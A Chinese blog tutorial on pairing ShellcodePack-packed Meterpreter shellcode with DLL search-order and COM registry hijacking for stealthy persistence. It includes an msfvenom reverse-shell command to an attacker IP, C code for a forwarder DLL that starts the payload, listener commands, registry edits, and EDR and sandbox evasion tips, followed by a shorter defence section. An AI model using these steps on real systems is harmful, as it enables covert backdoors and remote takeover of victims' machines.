三亩地 三亩地SAN MU DI · CODE DIARY
交流投稿
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天，欢迎挑你感兴趣的翻一翻。

首页/学习日记/日记详情

利用ShellcodePack实现DLL与COM劫持：高隐蔽性Shellcode加载与持久化技术详解

发布时间：2026/8/12 19:50:27 三亩地 编程学习日记
利用ShellcodePack实现DLL与COM劫持：高隐蔽性Shellcode加载与持久化技术详解

1. 项目概述：从“劫持”到“隐身”的攻防博弈

在安全研究领域，我们常常需要一种“润物细无声”的技术，让我们的代码能够悄无声息地运行在目标环境中，无论是为了红队评估、恶意软件分析，还是为了理解系统底层的安全机制。传统的进程注入、远程线程创建等方法，虽然有效，但往往会在进程列表、内存区域或API调用链上留下明显的痕迹，容易被现代终端检测与响应（EDR）系统或杀毒软件捕获。这时，一种更为隐蔽、更贴近操作系统原生加载机制的技术就进入了我们的视野：DLL劫持与COM对象劫持。

今天要深入探讨的，正是如何利用一个名为ShellcodePack的工具，将这两种经典的“劫持”技术与Shellcode加载相结合，实现一种高隐蔽性的持久化与执行手段。这不仅仅是把一段代码塞进内存那么简单，而是涉及到对Windows系统加载器行为、组件对象模型（COM）注册机制以及进程内存布局的深度理解和巧妙利用。简单来说，我们的目标不再是“强行闯入”，而是“伪装成主人邀请的客人”，甚至“成为系统本身的一部分”。

对于安全工程师、红队成员或是对Windows内部机制有浓厚兴趣的研究者而言，掌握这套组合技，意味着你能够：

  • 深入理解Windows的信任边界：明白系统在加载DLL或初始化COM对象时，究竟信任哪些路径和注册表项。
  • 构建更隐蔽的后门：相比起创建新服务或计划任务，劫持系统或常用软件本就依赖的组件，其行为特征更难以被静态规则发现。
  • 实现权限维持：在取得初始访问权限后，通过劫持一个高权限进程（如以SYSTEM或管理员身份运行的服务）所加载的DLL或COM组件，实现权限提升或持久化。
  • 绕过应用白名单：如果策略允许执行来自特定位置（如C:\Windows\System32）或具有特定签名的二进制文件，那么一个被巧妙劫持的、位于该位置且看似合法的DLL，就可能成为突破口。

接下来，我们将拆解整个技术链条，从原理到实操，从工具使用到避坑指南，一步步还原如何利用ShellcodePack这把“瑞士军刀”，完成从Shellcode生成到DLL/COM劫持落地的全过程。

2. 核心原理深度拆解：信任的滥用与内存的艺术

在动手之前，我们必须先吃透背后的原理。DLL劫持和COM劫持虽然最终目标都是执行我们的代码，但它们的攻击面和技术路径截然不同。而ShellcodePack在其中扮演的角色，是将我们的恶意逻辑“打包”成一种适合被劫持载体加载并执行的形式。

2.1 DLL劫持：搜索路径的陷阱

Windows系统在加载一个动态链接库（DLL）时，并非总是从绝对路径或应用程序所在目录加载。它会遵循一个既定的搜索顺序。当一个程序使用LoadLibrary或隐式链接方式调用一个DLL时，如果未指定完整路径，系统会按顺序在多个目录中查找。一个典型的搜索顺序（可能因系统版本和SafeDllSearchMode设置而略有不同）是：

  1. 应用程序所在的目录。
  2. 系统目录（C:\Windows\System32）。
  3. 16位系统目录（C:\Windows\System）。
  4. Windows目录（C:\Windows）。
  5. 当前工作目录。
  6. PATH环境变量中列出的目录。

DLL劫持的核心，就是利用这个搜索顺序。攻击者将一个恶意DLL放置在比合法DLL更优先被搜索到的位置。例如，如果一个应用程序试图加载version.dll而没有指定路径，并且应用程序目录（顺序1）下存在我们放置的恶意version.dll，那么我们的DLL将优先于C:\Windows\System32\version.dll被加载。

但是，仅仅被加载还不够。一个设计拙劣的恶意DLL可能会导致目标程序崩溃，从而暴露攻击行为。因此，高级的DLL劫持通常采用“转发器DLL”或“代理DLL”技术。即，我们的恶意DLL会导出与原DLL完全相同的函数列表。当被加载后，它先执行我们的恶意代码（如解密并执行Shellcode），然后再将函数调用“转发”给真正的、位于系统目录下的原始DLL，从而保证应用程序功能的正常。这就需要我们精确知道目标DLL导出了哪些函数。

2.2 COM对象劫持：注册表的诡计

组件对象模型（COM）是Windows中用于软件组件间通信的二进制接口标准。一个COM对象通过一个唯一的CLSID（类标识符）来标识，系统通过查询注册表来找到实现该CLSID的DLL或EXE文件路径，然后加载它。

COM劫持的核心在于篡改注册表中的关联项。具体来说，关注两个关键的注册表路径：

  • HKEY_CURRENT_USER\Software\Classes\CLSID{CLSID}
  • HKEY_LOCAL_MACHINE\Software\Classes\CLSID{CLSID}`

在每个CLSID键下，通常有一个InprocServer32（用于进程内DLL服务器）或LocalServer32（用于本地EXE服务器）子键，其默认值指向实现文件的路径。

COM劫持的常见手法：

  1. 直接路径劫持：修改InprocServer32的默认值，将其指向我们的恶意DLL。这是最直接的方式，但容易被发现。
  2. 代理进程劫持：创建一个合法的代理DLL，并修改注册表，使系统加载我们的代理DLL。我们的代理DLL再通过COM API（如CoCreateInstance）创建原始对象，并在前后执行恶意代码。这种方式更隐蔽，因为对原始组件的调用依然正常。
  3. TreatAs 劫持：使用TreatAs注册表项，将一个CLSID标记为“当作”另一个CLSID来处理。这可以用于将系统组件的请求重定向到我们的恶意组件。

COM劫持的优势在于，许多系统进程和服务在启动时会加载大量COM组件，这为我们的恶意代码在高权限上下文中执行提供了机会，且由于是系统预期的行为，隐蔽性极高。

2.3 ShellcodePack的角色：载荷的封装与伪装

无论是DLL劫持还是COM劫持，我们都需要一个“有效载荷”。直接写入明面的恶意代码很容易被检测。ShellcodePack这类工具的作用，就是帮助我们将原始的Shellcode（例如，一个Meterpreter的载荷）进行编码、加密、压缩和反仿真处理，并将其嵌入到一个合法的“壳”（Loader）中。

这个Loader通常是一个小巧、功能单一的PE文件（EXE或DLL），它的唯一职责就是：在运行时，解密内存中的Shellcode，分配可执行内存，将控制权移交过去。ShellcodePack生成的Loader，其代码形态和结构经过精心设计，可能具备以下特征以规避检测：

  • API动态解析：不直接导入VirtualAlloc、CreateThread等敏感API，而是在运行时通过GetProcAddress动态获取，减少导入表特征。
  • Shellcode加密：载荷在静态文件中是加密的，只在内存中解密，逃避静态特征扫描。
  • 反沙箱/反调试：内嵌简单的反分析技巧，如在虚拟机中退出、检测调试器等。
  • 多种执行技术：支持进程注入、反射式DLL加载、APC注入等多种Shellcode执行方式。

在我们的场景中，我们会利用ShellcodePack生成一个DLL格式的Loader。这个DLL将作为我们实施劫持的“武器化载体”。它需要被设计成既能安静地执行我们的Shellcode，又能完美地扮演“转发器”或“代理”的角色，不破坏原有程序的功能。

3. 环境与工具准备：工欲善其事，必先利其器

在开始实操前，我们需要搭建一个安全的实验环境并准备好必要的工具。强烈建议所有操作在隔离的虚拟机（如VMware或VirtualBox）中进行，目标系统最好使用Windows 10或11。

3.1 实验环境配置

  • 攻击机（Kali Linux 或 配置了相关工具的Windows）：用于生成Shellcode和操作ShellcodePack。
    • 安装Metasploit Framework（用于生成Payload）。
    • 安装mingw-w64（用于交叉编译C代码，如果在Windows上可用Visual Studio）。
  • 靶机（Windows 10/11）：用于测试劫持效果。
    • 关闭实时防病毒保护（仅用于实验！）。
    • 安装Process Monitor（ProcMon，来自Sysinternals套件），这是发现DLL劫持和COM劫持机会的神器。
    • 安装一个用于测试的、可能存在劫持漏洞的应用程序（例如，某些旧版本的PDF阅读器、音乐播放器等）。
  • 网络：确保攻击机和靶机在同一网络，能互相通信（用于反向Shell测试）。

3.2 核心工具链详解

  1. ShellcodePack：这是我们本次的核心工具。它是一个命令行工具，通常以源码形式提供，需要编译。其核心功能是接收一个原始的Shellcode文件（.bin），输出一个高度定制的Loader源码（C语言）。

    • 获取：通常可以从GitHub等开源安全平台找到。请务必从可信源获取。
    • 编译：在Linux上，使用gcc -o shellcodepack shellcodepack.c编译；在Windows上，可使用MinGW或VS编译。
    • 关键参数理解：
      • -i：指定输入的Shellcode文件。
      • -o：指定输出的Loader源码文件（.c）。
      • -t：指定Loader类型，如dll、exe、reflective_dll等。对于劫持，我们主要使用dll。
      • -e：指定加密算法（如XOR、AES）。
      • -p：指定反沙箱、反调试等“保护”选项。

  2. Metasploit Framework (msfvenom)：用于生成各种Payload的Shellcode。

    • 经典命令示例：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o payload.bin
    • 这里生成的是raw格式的二进制Shellcode，正是ShellcodePack所需的输入。

  3. Process Monitor (ProcMon)：微软Sysinternals套件中的利器。我们将用它来“窥探”目标进程的一举一动。

    • 过滤是关键：启动ProcMon后，会海量刷屏。必须设置过滤器（Filter）。
    • 对于DLL劫持探测：添加过滤器Operation为CreateFile或LoadImage，Path以.dll结尾，并排除Process Name为Procmon.exe和System等。关注RESULT为NAME NOT FOUND或PATH NOT FOUND的条目，这往往指示系统在某个路径寻找DLL但没找到，这就是潜在的劫持点。
    • 对于COM劫持探测：添加过滤器Operation为RegOpenKey或RegQueryValue，且Path包含CLSID。观察进程在访问哪些CLSID。

  4. 编译环境 (MinGW-w64 或 Visual Studio)：用于将ShellcodePack生成的C源码编译成最终的DLL文件。

    • MinGW-w64命令示例：x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c -lws2_32（对于需要网络功能的Shellcode）。

  5. 依赖分析工具 (如dumpbin或objdump)：用于分析目标合法DLL的导出函数，这是制作转发器DLL的必备步骤。Visual Studio命令行工具中的dumpbin.exe非常强大。

    • 命令：dumpbin /exports C:\Windows\System32\legit.dll可以列出legit.dll的所有导出函数。

4. 实操流程：从Shellcode到劫持落地

现在，让我们串联起整个流程，一步步实现利用ShellcodePack的DLL进行劫持。

4.1 第一步：生成并封装Shellcode

假设我们的攻击机IP是192.168.1.100，监听端口4444。

  1. 生成原始Shellcode：

    # 在Kali攻击机上 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o payload.bin

    这会生成一个包含反向TCP连接Shellcode的payload.bin文件。

  2. 使用ShellcodePack封装：

    # 假设shellcodepack已编译为可执行文件 ./shellcodepack -i payload.bin -o loader.c -t dll -e xor -p antidebug,antisandbox
    • -t dll：指定生成DLL类型的Loader。
    • -e xor：使用简单的XOR加密（实际中可根据需要选择更强算法）。
    • -p antidebug,antisandbox：添加反调试和反沙箱保护（基础级别）。 执行后，会得到一个loader.c文件。用文本编辑器打开它，你会发现核心的Shellcode数据已经被加密并存储在了一个字节数组中（如unsigned char payload[] = {...}），而DllMain函数或其它入口函数包含了解密和执行这段Shellcode的逻辑。

4.2 第二步：将Loader改造为“转发器DLL”

这是DLL劫持能否成功且不导致崩溃的关键。ShellcodePack生成的loader.c通常只包含执行Shellcode的逻辑，不具备转发功能。我们需要手动添加。

  1. 分析目标DLL的导出函数： 假设我们通过ProcMon发现，目标程序VictimApp.exe会尝试从应用程序目录加载d3d9.dll（一个常见的DirectX DLL）。我们决定劫持它。 在Windows靶机上（或任何有dumpbin的环境）：

    dumpbin /exports C:\Windows\System32\d3d9.dll > d3d9_exports.txt

    打开d3d9_exports.txt，你会看到一长串导出函数，例如：

    Direct3DCreate9 Direct3DCreate9Ex D3DPERF_BeginEvent D3DPERF_EndEvent ... (还有很多)

  2. 修改loader.c，添加转发器逻辑： 我们需要创建一个.def文件（模块定义文件）来指定导出函数，或者直接在C代码中使用__declspec(dllexport)。更清晰的方法是使用.def文件。

    • 创建exports.def文件：

      LIBRARY evil_d3d9 EXPORTS Direct3DCreate9=Forwarder_Direct3DCreate9 @1 Direct3DCreate9Ex=Forwarder_Direct3DCreate9Ex @2 D3DPERF_BeginEvent=Forwarder_D3DPERF_BeginEvent @3 D3DPERF_EndEvent=Forwarder_D3DPERF_EndEvent @4 ... (列出所有你需要转发的函数)

      注意：函数后面的@1、@2是序号，必须与原始DLL的导出序号完全一致，否则转发会失败。dumpbin的输出中也包含了序号信息。

    • 修改loader.c，实现转发函数： 在loader.c的开头添加函数声明和实现。我们需要动态加载真正的d3d9.dll，并获取每个函数的地址。

      #include <windows.h> // 声明原始函数类型（需要根据d3d9.h或微软文档来定义，这里以Direct3DCreate9为例） typedef IDirect3D9* (WINAPI* pfnDirect3DCreate9)(UINT SDKVersion); // 类似地声明其他函数类型... // 全局句柄和函数指针 HMODULE hOriginalDll = NULL; pfnDirect3DCreate9 TrueDirect3DCreate9 = NULL; // ... 其他函数指针 BOOL LoadOriginalFunctions() { // 加载系统目录下的原始dll char sysPath[MAX_PATH]; GetSystemDirectoryA(sysPath, MAX_PATH); strcat_s(sysPath, MAX_PATH, "\\d3d9.dll"); hOriginalDll = LoadLibraryA(sysPath); if (hOriginalDll == NULL) return FALSE; TrueDirect3DCreate9 = (pfnDirect3DCreate9)GetProcAddress(hOriginalDll, "Direct3DCreate9"); // ... 类似地获取其他所有需要转发的函数地址 return (TrueDirect3DCreate9 != NULL); // 检查关键函数是否获取成功 } // 转发函数实现 IDirect3D9* WINAPI Forwarder_Direct3DCreate9(UINT SDKVersion) { if (TrueDirect3DCreate9 == NULL) { if (!LoadOriginalFunctions()) return NULL; } return TrueDirect3DCreate9(SDKVersion); } // ... 实现其他转发函数 // 你的Shellcode执行逻辑（由ShellcodePack生成）应该放在DllMain或一个单独的线程中 // 确保它不会阻塞转发函数的调用 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // 在这里启动一个线程来执行你的Shellcode CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ShellcodeEntry, NULL, 0, NULL); // 注意：ShellcodeEntry是你ShellcodePack生成的执行函数 } return TRUE; }

    • 修改编译指令：编译时，需要链接.def文件。

      x86_64-w64-mingw32-gcc -shared -o evil_d3d9.dll loader.c exports.def -lws2_32 -ld3d9

      -ld3d9是为了链接d3d9.lib（如果有的话），但因为我们使用动态加载（LoadLibrary/GetProcAddress），这个选项可能不是必须的，但包含它可以解决一些编译时的符号引用问题。

关键注意事项：实现转发器是DLL劫持中最繁琐但最关键的一步。你必须确保：

  1. 导出函数名和序号完全正确：一个错误就会导致应用程序在调用该函数时崩溃。
  2. 原始DLL的延迟加载：我们的恶意DLL先被加载，必须在它的DllMain或初始化代码中加载原始DLL，而不能在全局变量初始化时加载，否则可能导致循环依赖或初始化顺序问题。上面示例的LoadOriginalFunctions在第一个转发函数被调用时才执行加载，是一种“延迟加载”策略。
  3. Shellcode执行线程化：绝对不要在DllMain中直接执行耗时或可能阻塞的操作（如网络连接）。这极易导致死锁。务必像示例中那样，CreateThread来异步执行。

4.3 第三步：实施DLL劫持

  1. 定位劫持点：使用ProcMon监控目标程序VictimApp.exe。设置好过滤器，观察其尝试加载DLL时，哪些路径的RESULT是NAME NOT FOUND。优先选择那些在应用程序目录、用户可写目录下查找DLL的条目。
  2. 放置恶意DLL：将编译好的evil_d3d9.dll重命名为目标DLL的名字（这里是d3d9.dll），并放置到比合法DLL更优先的搜索目录中。例如，如果ProcMon显示程序在自身目录下寻找d3d9.dll未果，那么就把我们的DLL放到VictimApp.exe的同级目录下。
  3. 测试：运行VictimApp.exe。同时，在攻击机上启动Metasploit监听：
    msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j
    如果劫持成功，程序应能正常启动（因为转发器工作正常），并且你会在msfconsole中收到一个Meterpreter会话。

4.4 第四步：探索COM对象劫持

COM劫持的流程与DLL劫持类似，但“载体”的放置位置不同。

  1. 发现COM劫持机会：同样使用ProcMon。过滤目标进程（可以是一个系统服务进程，如svchost.exe，或者一个高权限应用），观察其对注册表CLSID键的访问。寻找那些查询HKCU\...\CLSID下某个键，但结果可能是NAME NOT FOUND或最终加载了某个DLL的RegQueryValue操作。HKCU（当前用户）下的劫持优先级高于HKLM（本地机器），且对用户权限要求更低。
  2. 制作COM劫持DLL：这个DLL同样需要实现COM接口。但我们可以取巧，制作一个“代理DLL”。ShellcodePack生成的DLL Loader可以作为这个代理DLL的基础。我们需要：
    • 实现DllGetClassObject、DllCanUnloadNow、DllRegisterServer、DllUnregisterServer这几个标准的COM DLL导出函数。
    • 在DllGetClassObject被调用时（即客户端请求创建COM对象时），先执行我们的Shellcode，然后再调用CoCreateInstance或加载原始COM DLL来创建真正的对象并返回。这比实现完整接口简单。
  3. 修改注册表：
    • 找到目标CLSID，例如{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}。
    • 在HKEY_CURRENT_USER\Software\Classes\CLSID\下创建该CLSID的键（如果不存在）。
    • 在其下创建InprocServer32子键。
    • 将InprocServer32的默认值设置为我们的恶意DLL的完整路径。
    • （可选）设置ThreadingModel值为Apartment或Both。
  4. 触发COM加载：当任何进程（尤其是高权限进程）尝试创建该CLSID对应的COM对象时，我们的DLL就会被加载并执行Shellcode。触发方式可以是重启相关服务，或者运行一个依赖该组件的小程序。

COM劫持的隐蔽性技巧：更高级的做法不是直接替换路径，而是使用“劫持而不破坏”的方法。例如，将原始DLL移动到另一个位置，将我们的代理DLL放在原路径。代理DLL在DllGetClassObject中，先加载原始DLL（从新位置），获取其DllGetClassObject函数地址并调用，在返回给调用者之前或之后，执行我们的Shellcode。这样，原始功能完全不受影响，我们的DLL只是一个“透明代理”，隐蔽性极强。

5. 高级技巧、对抗与防御视角

掌握了基础操作后，我们需要从更高维度思考如何提升隐蔽性和成功率，以及如何防御此类攻击。

5.1 提升隐蔽性的高级技巧

  1. 选择高信誉、少签名的目标DLL：劫持一个微软签名的、被大量软件使用的系统DLL（如version.dll），虽然机会多，但被EDR重点监控的风险也高。可以寻找一些第三方软件自带的、不常更新、没有强签名验证的DLL作为目标。
  2. 导出函数转发器的自动化：手动编写转发函数对于导出函数成百上千的DLL（如windows.storage.dll）是噩梦。可以编写脚本，解析dumpbin /exports的输出，自动生成.def文件和转发函数桩代码的框架。
  3. Shellcode的分离加载：不要在DLL中直接嵌入加密的Shellcode。可以让DLL从外部资源（如注册表、文件、甚至网络）读取和解密Shellcode。这样恶意DLL本身可能不具备明显的静态特征。
  4. 利用“Known DLLs”机制绕过：Windows有一个KnownDlls列表，位于HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs，列表中的DLL会直接从系统目录加载，绕过搜索顺序。因此，劫持目标应避开这个列表中的DLL。可以用dumpbin /dependents查看程序导入的DLL，并结合KnownDlls列表筛选目标。
  5. COM劫持中的权限维持：寻找在系统启动或用户登录时，由高权限进程（如winlogon.exe,services.exe）加载的COM组件。劫持它们可以实现更高权限的持久化。

5.2 常见问题与排查实录

  1. 目标程序崩溃，无Shellcode执行：

    • 可能原因1：导出函数签名错误。转发函数的调用约定（__stdcall/__cdecl）、参数数量和类型、返回值必须与原始函数完全一致。使用错误的函数指针类型调用会导致栈损坏和崩溃。解决方案：仔细核对微软官方文档或SDK头文件中的函数原型。
    • 可能原因2：DLL入口点（DllMain）处理不当。在DllMain中执行复杂操作（如同步网络请求）是危险的。解决方案：确保Shellcode在独立的线程中启动，并且DllMain快速返回TRUE。
    • 可能原因3：依赖项缺失。你的恶意DLL可能依赖了某些运行时库（如MSVCRT），而目标环境没有。解决方案：使用静态链接编译（-staticfor MinGW），或者将依赖的DLL一并放置到劫持目录。
    • 排查方法：使用调试器（如x64dbg）附加到目标进程，查看崩溃时的调用栈和异常代码。也可以在恶意DLL中加入日志功能（输出到文件），记录执行流程，方便定位问题。

  2. Shellcode执行了，但Meterpreter会话立即断开或不稳定：

    • 可能原因1：线程问题。Meterpreter的迁移等功能需要稳定的线程环境。如果执行Shellcode的线程过早结束，会导致会话死亡。解决方案：确保执行Shellcode的线程保持活动（例如，在一个while(1) { Sleep(1000); }循环中），或者使用更稳定的进程注入技术（如QueueUserAPC）。
    • 可能原因2：网络连通性问题。检查防火墙、杀毒软件是否拦截了出站连接。解决方案：尝试使用更隐蔽的传输方式（如HTTPS、DNS隧道）的Payload。
    • 可能原因3：架构不匹配。目标进程是32位（x86），而你的Shellcode和DLL是64位（x64），反之亦然。解决方案：确保Payload、Loader DLL与目标进程的架构一致。使用file命令（Linux）或检查PE头来确认。

  3. ProcMon看不到预期的DLL加载事件：

    • 可能原因：DLL已被缓存。Windows会缓存已加载DLL的路径。如果之前成功从合法路径加载过该DLL，后续启动可能直接从缓存读取，不再进行路径搜索。解决方案：重启计算机可以清除DLL缓存，或者使用一个全新的、从未运行过的测试程序。

5.3 防御视角：如何发现和阻止此类攻击

作为防御方，了解攻击手法是构建检测能力的第一步。

  1. 启用DLL搜索安全策略：

    • SetDefaultDllDirectories 和 AddDllDirectory：鼓励开发者在应用程序中使用这些API来限定DLL搜索路径，避免使用不安全的标准搜索顺序。
    • 进程缓解策略（Process Mitigation Policy）：通过组策略或代码，为进程设置ProcessImageLoadPolicy，禁止从当前目录、PATH等加载DLL。

  2. 加强目录权限控制：

    • 对C:\Windows\System32、C:\Windows\SysWOW64等系统关键目录，确保普通用户只有读取和执行权限，没有写入权限。
    • 对于应用程序目录，如果可行，也应限制用户写入权限。

  3. 部署具备行为检测能力的EDR/AV：

    • 监控异常的DLL加载：检测进程从非标准路径（如Temp目录、用户目录）加载系统DLL（如d3d9.dll,version.dll）。
    • 监控注册表修改：特别是对HKCU\Software\Classes\CLSID和HKLM\Software\Classes\CLSID下InprocServer32等键值的修改。
    • 检测内存属性变化：监控进程内存中从RW（读写）变为RX（可执行）的区域，这是Shellcode解密的典型行为。

  4. 应用程序签名与完整性校验：

    • 对重要的应用程序及其依赖的DLL进行数字签名验证。
    • 使用诸如Windows Defender Application Control (WDAC) 等白名单技术，只允许运行经过签名的代码。

  5. 定期审计与威胁狩猎：

    • 使用Sysinternals的Autoruns工具定期检查系统启动项、计划任务、服务以及Image Hijacks和COM Hijacks选项卡，发现被篡改的注册表项。
    • 在威胁狩猎中，将“进程加载了与其常见路径不符的DLL”作为一个重要的检测指标。

6. 总结与演进思考

利用ShellcodePack实现DLL与COM劫持，本质上是一场关于“信任”和“隐蔽”的博弈。攻击者利用操作系统和应用程序固有的信任机制（DLL搜索路径、COM注册表），将恶意代码植入到合法的执行流中。而防御者则需要层层设防，从权限控制、行为监控到应用白名单，不断压缩攻击者的活动空间。

从我个人的实战经验来看，这项技术成功的关键往往不在于工具本身有多强大，而在于对细节的把握。一个导出函数序号的错误，一个线程处理的不当，甚至是一个路径斜杠的方向，都可能导致前功尽弃。它要求研究者既要有宏观的攻防视野，也要有微观的代码调试耐心。

未来，随着终端安全能力的提升，简单的路径劫持和注册表篡改变得越来越容易被检测。攻击技术也在向更底层、更隐蔽的方向演进，例如：

  • **利用Windows功能（如WMI事件订阅、IFEO调试器劫持）**进行持久化，这些方式不直接修改DLL或COM注册表。
  • 无文件攻击：将Shellcode直接注入到合法进程的内存中，或利用漏洞在内存中执行，完全不落地DLL文件。
  • 利用合法签名：窃取或滥用拥有合法数字签名的证书来签署恶意DLL，绕过基于签名的检测。

因此，对于安全从业者而言，理解DLL/COM劫持这类经典技术，不仅是掌握一种攻击方法，更是理解Windows安全模型和攻防对抗本质的绝佳切入点。它迫使你去思考：系统在哪里给予了过多的信任？我们该如何在便利性和安全性之间取得平衡？只有深入到这种程度，无论是为了攻击还是防御，你才能构建起真正有效的技术能力。

编程学习 学习日记 实战经验
← 返回列表